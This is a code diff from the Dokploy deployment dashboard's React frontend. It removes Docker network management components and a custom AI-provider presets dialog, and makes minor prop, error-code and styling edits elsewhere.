<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="driver"
render={({ field }) => (
<FormItem>
<FormLabel>Driver</FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select driver" />
</SelectTrigger>
</FormControl>
<SelectContent>
{networkDriverEnum.map((d) => (
<SelectItem key={d} value={d}>
{d}
</SelectItem>
))}
</SelectContent>
</Select>
<FormDescription className="text-muted-foreground">
bridge for single-server containers; overlay for Swarm
services.
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
</div>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
{toggleOptions.map((option) => (
<FormField
key={option.name}
control={form.control}
name={option.name}
render={({ field }) => (
<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
<div className="space-y-1 pr-1">
<FormLabel>{option.label}</FormLabel>
<FormDescription className="text-muted-foreground">
{option.description}
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
))}
</div>
<div className="space-y-4 rounded-lg border p-4">
<div className="space-y-1">
<FormLabel>IPAM</FormLabel>
<p className="text-sm text-muted-foreground">
IP address management settings for this network.
</p>
</div>
<FormField
control={form.control}
name="ipamDriver"
render={({ field }) => (
<FormItem>
<FormLabel className="text-muted-foreground">
Driver (optional)
</FormLabel>
<FormControl>
<Input {...field} placeholder="default" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="space-y-2">
<FormLabel className="text-muted-foreground">
Config (subnet / gateway / IP range)
</FormLabel>
{ipamConfigFieldArray.fields.map((field, index) => (
<div key={field.id} className="flex flex-wrap gap-2">
<FormField
control={form.control}
name={`ipamConfig.${index}.subnet`}
render={({ field: f }) => (
<FormItem className="min-w-[140px] flex-1">
<FormControl>
<Input
{...f}
placeholder="Subnet (e.g. 172.20.0.0/16)"
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`ipamConfig.${index}.ipRange`}
render={({ field: f }) => (
<FormItem className="min-w-[120px] flex-1">
<FormControl>
<Input {...f} placeholder="IP range" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`ipamConfig.${index}.gateway`}
render={({ field: f }) => (
<FormItem className="min-w-[120px] flex-1">
<FormControl>
<Input {...f} placeholder="Gateway" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="outline"
size="icon"
aria-label="Remove IPAM config"
onClick={() => ipamConfigFieldArray.remove(index)}
>
<Trash2 className="size-4" />
</Button>
</div>
))}
<Button
type="button"
variant="outline"
size="sm"
onClick={() =>
ipamConfigFieldArray.append({
subnet: "",
ipRange: "",
gateway: "",
})
}
>
<Plus className="size-4" />
Add IPAM config
</Button>
</div>
</div>
<DialogFooter>
<Button
type="button"
variant="outline"
onClick={() => setIsOpen(false)}
>
Cancel
</Button>
<Button type="submit" isLoading={isPending}>
Create network
</Button>
</DialogFooter>
</form>
</Form>
</DialogContent>
</Dialog>
);
};

View File

@@ -1,69 +0,0 @@
"use client";
import { Eye, Loader2 } from "lucide-react";
import { useState } from "react";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { api } from "@/utils/api";
interface Props {
networkId: string;
networkName: string;
}
export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.network.inspect.useQuery(
{ networkId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View network config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Network Config</DialogTitle>
<DialogDescription>
docker network inspect output for "{networkName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};

View File

@@ -1,494 +0,0 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Loader2,
Network,
RotateCcw,
ShieldCheck,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardAction,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
interface Props {
/** Selected server; undefined shows the local Dokploy server */
serverId?: string;
}
const getIpamEntries = (row: NetworkRow) =>
(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
export const ShowNetworks = ({ serverId }: Props) => {
const utils = api.useUtils();
const [verified, setVerified] = useState(false);
const [sorting, setSorting] = useState<SortingState>([
{ id: "createdAt", desc: true },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [driverFilter, setDriverFilter] = useState<string>("all");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
const recreateMutation = api.network.recreate.useMutation();
// Same query the Sync dialog uses; "missing" tells us which records
// no longer have a real network in Docker
const {
data: syncStatus,
isFetching: isVerifying,
refetch: refetchVerify,
} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
const missingIds = useMemo(
() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
[syncStatus],
);
const onVerify = async () => {
setVerified(true);
const { data: result, error } = await refetchVerify();
if (error) {
toast.error("Error verifying networks", {
description: error.message,
});
return;
}
if (!result) return;
if (result.missing.length === 0) {
toast.success("All networks exist in Docker");
} else {
toast.warning(
`${result.missing.length} network(s) no longer exist in Docker`,
);
}
};
const filteredData = useMemo(() => {
let list = networks ?? [];
if (driverFilter !== "all") {
list = list.filter((n) => n.driver === driverFilter);
}
if (globalFilter.trim()) {
const query = globalFilter.toLowerCase();
list = list.filter(
(n) =>
n.name.toLowerCase().includes(query) ||
(n.ipam?.config ?? []).some(
(c) =>
c.subnet?.toLowerCase().includes(query) ||
c.gateway?.toLowerCase().includes(query) ||
c.ipRange?.toLowerCase().includes(query),
),
);
}
return list;
}, [networks, driverFilter, globalFilter]);
const columns = useMemo<ColumnDef<NetworkRow>[]>(
() => [
{
accessorKey: "name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div className="flex items-center gap-2 font-medium">
{row.original.name}
{verified &&
syncStatus &&
(missingIds.has(row.original.networkId) ? (
<>
<Badge variant="red">Missing in Docker</Badge>
<Button
variant="outline"
size="xs"
isLoading={recreateMutation.isPending}
onClick={async () => {
try {
await recreateMutation.mutateAsync({
networkId: row.original.networkId,
});
toast.success(
`Network "${row.original.name}" recreated in Docker`,
);
await utils.network.networksToSync.invalidate();
} catch (error) {
toast.error("Error recreating network", {
description:
error instanceof Error
? error.message
: "Unknown error",
});
}
}}
>
<RotateCcw className="size-3.5" />
Recreate
</Button>
</>
) : (
<Badge variant="green">In sync</Badge>
))}
</div>
),
},
{
accessorKey: "driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
<div className="flex items-center gap-2">
<Badge variant="outline">{row.original.driver}</Badge>
<span className="text-xs text-muted-foreground">
{row.original.driver === "overlay" ? "swarm" : "local"}
</span>
</div>
),
},
{
id: "subnet",
accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
header: ({ column }) => (
<SortableHeader column={column} title="Subnet" />
),
cell: ({ row }) => {
const ipamEntries = getIpamEntries(row.original);
if (ipamEntries.length === 0) {
return <span className="text-muted-foreground">Auto</span>;
}
return (
<div className="flex flex-col gap-1">
{ipamEntries.map((c, index) => (
<div
key={`${row.original.networkId}-ipam-${index}`}
className="flex flex-col"
>
<span>{c.subnet ?? "—"}</span>
{(c.gateway || c.ipRange) && (
<span className="text-xs text-muted-foreground">
{[
c.gateway && `gw ${c.gateway}`,
c.ipRange && `range ${c.ipRange}`,
]
.filter(Boolean)
.join(" · ")}
</span>
)}
</div>
))}
</div>
);
},
},
{
accessorKey: "internal",
header: ({ column }) => (
<SortableHeader column={column} title="Internal" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">
{row.original.internal ? "Yes" : "No"}
</span>
),
},
{
accessorKey: "attachable",
header: ({ column }) => (
<SortableHeader column={column} title="Attachable" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">
{row.original.attachable ? "Yes" : "No"}
</span>
),
},
{
accessorKey: "createdAt",
header: ({ column }) => (
<SortableHeader column={column} title="Created" />
),
cell: ({ row }) => (
<span className="text-muted-foreground whitespace-nowrap">
{new Date(row.original.createdAt).toLocaleDateString()}
</span>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<ShowNetworkConfig
networkId={row.original.networkId}
networkName={row.original.name}
/>
<DialogAction
title="Delete network"
description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
onClick={async () => {
try {
await removeNetwork({
networkId: row.original.networkId,
});
toast.success("Network deleted");
await utils.network.all.invalidate();
await utils.network.networksToSync.invalidate();
} catch (error) {
toast.error("Error deleting network", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Delete network"
>
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<Network className="size-6 text-muted-foreground self-center" />
Networks
</CardTitle>
<CardDescription>
Manage the Docker networks of the selected server.
</CardDescription>
<CardAction className="self-center">
<div className="flex items-center gap-2">
{networks && networks.length > 0 && (
<Button
variant="outline"
isLoading={isVerifying}
onClick={onVerify}
>
<ShieldCheck className="size-4" />
Verify
</Button>
)}
<SyncNetworks serverId={serverId} />
{networks && networks.length > 0 && (
<HandleNetwork serverId={serverId} />
)}
</div>
</CardAction>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !networks?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<Network className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No networks yet</p>
<p className="max-w-sm text-sm text-muted-foreground">
Create Docker networks for your organization and optionally
attach them to a server. Add your first network to get
started.
</p>
</div>
<HandleNetwork serverId={serverId} />
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name, subnet, gateway..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
<Select value={driverFilter} onValueChange={setDriverFilter}>
<SelectTrigger className="w-[150px]">
<SelectValue placeholder="Driver" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All drivers</SelectItem>
<SelectItem value="bridge">bridge</SelectItem>
<SelectItem value="overlay">overlay</SelectItem>
</SelectContent>
</Select>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No networks match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@@ -1,249 +0,0 @@
"use client";
import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Separator } from "@/components/ui/separator";
import { api } from "@/utils/api";
interface Props {
serverId?: string;
}
export const SyncNetworks = ({ serverId }: Props) => {
const [open, setOpen] = useState(false);
const [selected, setSelected] = useState<Set<string>>(new Set());
const utils = api.useUtils();
const { data, isLoading, error, refetch } =
api.network.networksToSync.useQuery({ serverId }, { enabled: open });
const importMutation = api.network.import.useMutation();
const removeMutation = api.network.remove.useMutation();
const recreateMutation = api.network.recreate.useMutation();
const toggleSelected = (name: string) => {
setSelected((prev) => {
const next = new Set(prev);
if (next.has(name)) {
next.delete(name);
} else {
next.add(name);
}
return next;
});
};
const onImport = async () => {
try {
const result = await importMutation.mutateAsync({
serverId,
names: Array.from(selected),
});
if (result.imported.length > 0) {
toast.success(`Imported ${result.imported.length} network(s)`);
}
for (const failure of result.errors) {
toast.error(`Could not import "${failure.name}"`, {
description: failure.error,
});
}
setSelected(new Set());
await utils.network.all.invalidate();
setOpen(false);
await refetch();
} catch (error) {
toast.error("Error importing networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const onRemoveStale = async (networkId: string, name: string) => {
try {
await removeMutation.mutateAsync({ networkId });
toast.success(`Removed stale record "${name}"`);
await utils.network.all.invalidate();
await refetch();
} catch (error) {
toast.error("Error removing record", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const onRecreate = async (networkId: string, name: string) => {
try {
await recreateMutation.mutateAsync({ networkId });
toast.success(`Network "${name}" recreated in Docker`);
await utils.network.all.invalidate();
await utils.network.networksToSync.invalidate();
await refetch();
} catch (error) {
toast.error("Error recreating network", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog
open={open}
onOpenChange={(value) => {
setOpen(value);
if (!value) setSelected(new Set());
}}
>
<DialogTrigger asChild>
<Button variant="outline">
<RefreshCw className="size-4" />
Sync
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<RefreshCw className="size-5 text-muted-foreground" />
Sync networks
</DialogTitle>
<DialogDescription>
Import networks that exist in Docker but not in Dokploy, and clean
up records whose network no longer exists.
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Scanning Docker networks...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="flex flex-col gap-4">
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">
Found in Docker ({data?.importable.length ?? 0})
</span>
{data?.importable.length ? (
data.importable.map((dockerNetwork) => (
<label
key={dockerNetwork.name}
htmlFor={`import-network-${dockerNetwork.name}`}
className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
>
<div className="flex items-center gap-3">
<Checkbox
id={`import-network-${dockerNetwork.name}`}
checked={selected.has(dockerNetwork.name)}
onCheckedChange={() =>
toggleSelected(dockerNetwork.name)
}
/>
<div className="flex flex-col">
<span className="text-sm font-medium">
{dockerNetwork.name}
</span>
{dockerNetwork.subnets.length > 0 && (
<span className="text-xs text-muted-foreground">
{dockerNetwork.subnets.join(" · ")}
</span>
)}
</div>
</div>
<Badge variant="outline">{dockerNetwork.driver}</Badge>
</label>
))
) : (
<span className="text-sm text-muted-foreground">
Nothing to import everything is in sync.
</span>
)}
</div>
{!!data?.missing.length && (
<>
<Separator />
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">
Missing in Docker ({data.missing.length})
</span>
<span className="text-xs text-muted-foreground">
These records exist in Dokploy but their network is gone
from Docker.
</span>
{data.missing.map((stale) => (
<div
key={stale.networkId}
className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
>
<span className="text-sm">{stale.name}</span>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="xs"
isLoading={recreateMutation.isPending}
onClick={() =>
onRecreate(stale.networkId, stale.name)
}
>
<RotateCcw className="size-3.5" />
Recreate
</Button>
<Button
variant="ghost"
size="icon-sm"
aria-label={`Remove stale record ${stale.name}`}
isLoading={removeMutation.isPending}
onClick={() =>
onRemoveStale(stale.networkId, stale.name)
}
>
<Trash2 className="size-4 text-destructive" />
</Button>
</div>
</div>
))}
</div>
</>
)}
</div>
)}
<DialogFooter>
<Button
type="button"
variant="outline"
onClick={() => setOpen(false)}
>
Close
</Button>
<Button
type="button"
disabled={selected.size === 0}
isLoading={importMutation.isPending}
onClick={onImport}
>
Import selected ({selected.size})
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};

View File

@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
open={!!selectedRow} open={!!selectedRow}
onOpenChange={(_open) => setSelectedRow(undefined)} onOpenChange={(_open) => setSelectedRow(undefined)}
> >
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col"> <SheetContent className="sm:max-w-[740px] flex flex-col">
<SheetHeader> <SheetHeader>
<SheetTitle>Request log</SheetTitle> <SheetTitle>Request log</SheetTitle>
<SheetDescription> <SheetDescription>

View File

@@ -13,14 +13,10 @@ import {
} from "@/components/ui/card"; } from "@/components/ui/card";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
import { HandleAi } from "./handle-ai"; import { HandleAi } from "./handle-ai";
import { HandleAiProviders } from "./handle-ai-providers";
export const AiForm = () => { export const AiForm = () => {
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery(); const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation(); const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
const { data: currentUser } = api.user.get.useQuery();
const isOrgAdmin =
currentUser?.role === "owner" || currentUser?.role === "admin";
return ( return (
<div className="w-full"> <div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
</CardTitle> </CardTitle>
<CardDescription>Manage your AI configurations</CardDescription> <CardDescription>Manage your AI configurations</CardDescription>
</div> </div>
<div className="flex flex-row gap-2"> {aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
{isOrgAdmin && <HandleAiProviders />}
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</div>
</CardHeader> </CardHeader>
<CardContent className="space-y-2 py-8 border-t"> <CardContent className="space-y-2 py-8 border-t">
{isPending ? ( {isPending ? (

View File

@@ -1,158 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const Schema = z.object({
providers: z.array(
z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
}),
),
});
type Schema = z.infer<typeof Schema>;
export const HandleAiProviders = () => {
const utils = api.useUtils();
const [open, setOpen] = useState(false);
const { data: providers } = api.ai.getCustomProviders.useQuery();
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
const form = useForm<Schema>({
resolver: zodResolver(Schema),
defaultValues: {
providers: [],
},
});
const { fields, append, remove } = useFieldArray({
control: form.control,
name: "providers",
});
useEffect(() => {
if (open) {
form.reset({ providers: providers ?? [] });
}
}, [open, providers, form]);
const onSubmit = async (data: Schema) => {
try {
await mutateAsync({ providers: data.providers });
await utils.ai.getCustomProviders.invalidate();
toast.success("Custom providers saved successfully");
setOpen(false);
} catch (error) {
toast.error("Failed to save custom providers", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="outline" className="cursor-pointer space-x-3">
<ServerIcon className="h-4 w-4" />
Custom Presets
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Custom AI Providers</DialogTitle>
<DialogDescription>
Define your own AI providers, like an internal LLM platform. When at
least one is defined, only these providers can be used in AI
configurations.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
{fields.length === 0 && (
<p className="text-sm text-muted-foreground">
No custom providers defined. The built-in provider list will be
used.
</p>
)}
{fields.map((fieldItem, index) => (
<div key={fieldItem.id} className="flex gap-2 items-start">
<FormField
control={form.control}
name={`providers.${index}.name`}
render={({ field }) => (
<FormItem className="flex-1">
<FormControl>
<Input placeholder="Internal LLM" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`providers.${index}.apiUrl`}
render={({ field }) => (
<FormItem className="flex-[2]">
<FormControl>
<Input
placeholder="https://llm.internal.company/v1"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
onClick={() => remove(index)}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</div>
))}
<div className="flex justify-between">
<Button
type="button"
variant="outline"
onClick={() => append({ name: "", apiUrl: "" })}
>
<PlusIcon className="h-4 w-4" />
Add Provider
</Button>
<Button type="submit" isLoading={isPending}>
Save
</Button>
</div>
</form>
</Form>
</DialogContent>
</Dialog>
);
};

View File

@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
enabled: !!aiId, enabled: !!aiId,
}, },
); );
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
? (customProviders ?? [])
: [...AI_PROVIDERS];
const { mutateAsync, isPending } = aiId const { mutateAsync, isPending } = aiId
? api.ai.update.useMutation() ? api.ai.update.useMutation()
: api.ai.create.useMutation(); : api.ai.create.useMutation();
@@ -215,9 +210,7 @@ export const HandleAi = ({ aiId }: Props) => {
<FormLabel>Provider</FormLabel> <FormLabel>Provider</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
const provider = providerOptions.find( const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
(p) => p.apiUrl === value,
);
if (provider) { if (provider) {
form.setValue("name", provider.name); form.setValue("name", provider.name);
form.setValue("apiUrl", provider.apiUrl); form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +222,15 @@ export const HandleAi = ({ aiId }: Props) => {
<SelectValue placeholder="Select a provider preset..." /> <SelectValue placeholder="Select a provider preset..." />
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{providerOptions.map((provider) => ( {AI_PROVIDERS.map((provider) => (
<SelectItem <SelectItem key={provider.apiUrl} value={provider.apiUrl}>
key={`${provider.name}-${provider.apiUrl}`}
value={provider.apiUrl}
>
{provider.name} {provider.name}
</SelectItem> </SelectItem>
))} ))}
</SelectContent> </SelectContent>
</Select> </Select>
<p className="text-[0.8rem] text-muted-foreground"> <p className="text-[0.8rem] text-muted-foreground">
{hasCustomProviders Quick-fill provider name and URL, or configure manually below
? "Select one of the providers defined by your organization"
: "Quick-fill provider name and URL, or configure manually below"}
</p> </p>
</div> </div>
@@ -272,7 +260,6 @@ export const HandleAi = ({ aiId }: Props) => {
<FormControl> <FormControl>
<Input <Input
placeholder="https://api.openai.com/v1" placeholder="https://api.openai.com/v1"
disabled={hasCustomProviders}
{...field} {...field}
onChange={(e) => { onChange={(e) => {
field.onChange(e); field.onChange(e);
@@ -284,9 +271,7 @@ export const HandleAi = ({ aiId }: Props) => {
/> />
</FormControl> </FormControl>
<FormDescription> <FormDescription>
{hasCustomProviders The base URL for your AI provider's API
? "The API URL is defined by your organization's providers"
: "The base URL for your AI provider's API"}
</FormDescription> </FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>

View File

@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Docker cleanup is performed. Trigger the action when Docker cleanup is
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -100,7 +100,7 @@ export const Enable2FA = () => {
}); });
if (result.error) { if (result.error) {
if (result.error.code === "INVALID_CODE") { if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
toast.error("Invalid verification code"); toast.error("Invalid verification code");
return; return;
} }

View File

@@ -40,7 +40,6 @@ interface Props {
children?: React.ReactNode; children?: React.ReactNode;
serverId?: string; serverId?: string;
appType?: "stack" | "docker-compose"; appType?: "stack" | "docker-compose";
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
appName, appName,
serverId, serverId,
appType, appType,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
serverId={serverId || ""} serverId={serverId || ""}
id="terminal" id="terminal"
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
